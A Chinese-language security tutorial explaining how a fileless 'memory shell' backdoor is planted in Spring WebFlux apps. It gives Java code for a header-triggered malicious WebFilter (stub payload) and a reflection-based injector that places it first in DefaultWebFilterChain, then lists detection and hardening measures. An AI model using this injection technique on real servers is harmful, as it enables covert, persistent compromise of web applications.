WebFlux型内存马技术解析与实现

1. WebFlux基础概述

WebFlux是Spring Framework 5引入的响应式Web框架，基于Reactive Streams规范，通过Reactor库实现响应式编程模型。与传统Spring MVC的同步阻塞模型不同，WebFlux采用事件驱动模型，通过少量线程处理大量请求，减少线程阻塞和资源浪费。

1.1 核心特点

• 非阻塞、异步、高并发的Web应用程序框架
• 基于Reactor库实现响应式编程
• 事件驱动模型，高效利用线程资源

2. WebFlux基础组件

2.1 发布-订阅模式

WebFlux基于发布-订阅模式设计，主要概念包括：

• 发布者(Publisher): 生成消息但不指定接收者，仅将消息发布到特定主题
• 订阅者(Subscriber): 通过订阅感兴趣的主题接收消息
• 消息代理(Message Broker): 作为中间枢纽，负责接收、存储和路由消息

2.2 Mono和Flux

WebFlux基于Reactor框架，核心类型为Mono和Flux：

Mono

• 表示0或1个元素的异步序列
• 生命周期仅有一次数据发射机会
• 应用场景：
  • 单次I/O操作(如HTTP GET请求)
  • 数据库查询单条记录

Flux

• 表示0到N个元素的异步序列，支持无限流
• 允许动态发射多个元素，支持背压机制
• 应用场景：
  • 批量数据处理
  • 实时事件流处理

3. WebFlux过滤器机制

WebFlux没有传统的Listener和Interceptor，但提供了两种过滤器：

3.1 WebFilter

类似于Servlet中的Filter，用于拦截请求并处理。WebFlux的过滤器链采用责任链模式实现。

过滤器链结构

• 由DefaultWebFilterChain类实现
• 递归链结构：每个实例持有当前过滤器(currentFilter)和剩余链(chain)
• 调用流程：调用chain的filter方法→invokeFilter→调用过滤器的filter方法

关键类

• DefaultWebFilterChain: 过滤器链实现类
• FilteringWebHandler: 负责生成和管理过滤器链

4. WebFlux内存马实现原理

4.1 基本思路

1. 制作恶意WebFilter
2. 在调用DefaultWebFilterChain构造函数时，将恶意WebFilter作为参数传入
3. 将新过滤器链赋值给FilteringWebHandler实例的chain属性

4.2 技术实现要点

4.2.1 查找现有过滤器链

• 使用工具如java-object-searcher定位DefaultWebFilterChain实例
• 通过反射获取当前过滤器链中的所有过滤器

4.2.2 注入新过滤器

• 创建恶意WebFilter实现类
• 将恶意过滤器添加到现有过滤器列表中
• 通过反射重建过滤器链

4.2.3 持久化技术

• 将恶意过滤器编译为class文件
• 使用GZIP压缩并Base64编码
• 在注入器中解码并加载

5. 实际实现步骤

5.1 恶意WebFilter实现

public class EvilFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        // 检查请求头中是否包含特定标识
        String header = exchange.getRequest().getHeaders().getFirst("cmisl");
        if("cmisl".equals(header)) {
            // 执行恶意代码
            return Mono.error(new RuntimeException("恶意代码执行"));
        }
        return chain.filter(exchange);
    }
}

5.2 注入器实现关键代码

// 1. 获取当前WebHandler
WebHandler webHandler = ...;

// 2. 获取当前过滤器链
Field chainField = FilteringWebHandler.class.getDeclaredField("chain");
chainField.setAccessible(true);
DefaultWebFilterChain currentChain = (DefaultWebFilterChain) chainField.get(webHandler);

// 3. 获取当前所有过滤器
Field allFiltersField = DefaultWebFilterChain.class.getDeclaredField("allFilters");
allFiltersField.setAccessible(true);
List<WebFilter> filters = new ArrayList<>((List<WebFilter>) allFiltersField.get(currentChain));

// 4. 添加恶意过滤器
filters.add(0, new EvilFilter()); // 添加到链首优先执行

// 5. 重建过滤器链
Constructor<DefaultWebFilterChain> constructor = DefaultWebFilterChain.class.getDeclaredConstructor(List.class, WebHandler.class);
constructor.setAccessible(true);
DefaultWebFilterChain newChain = constructor.newInstance(filters, webHandler);

// 6. 替换原有过滤器链
chainField.set(webHandler, newChain);

6. 防御措施

针对WebFlux内存马，可采取以下防御措施：

1. 运行时监控:

   • 监控WebFilter的动态添加行为
   • 检查过滤器链中的可疑类

2. 静态检测:

   • 扫描应用中是否存在可疑的WebFilter实现
   • 检查类加载行为

3. 安全加固:

   • 限制反射调用权限
   • 实施严格的类加载策略

4. 定期审计:

   • 检查生产环境中的过滤器配置
   • 对比基线配置检测异常变更

7. 总结

WebFlux内存马利用响应式框架的过滤器机制实现持久化驻留，相比传统Servlet型内存马具有以下特点：

1. 基于响应式编程模型，适应高并发场景
2. 利用WebFilter机制实现请求拦截
3. 通过修改过滤器链实现持久化
4. 检测难度较大，需要专门针对WebFlux框架的检测手段

理解WebFlux内存马的实现原理对于防御此类攻击具有重要意义，同时也提醒开发者在设计响应式应用时需要充分考虑安全性。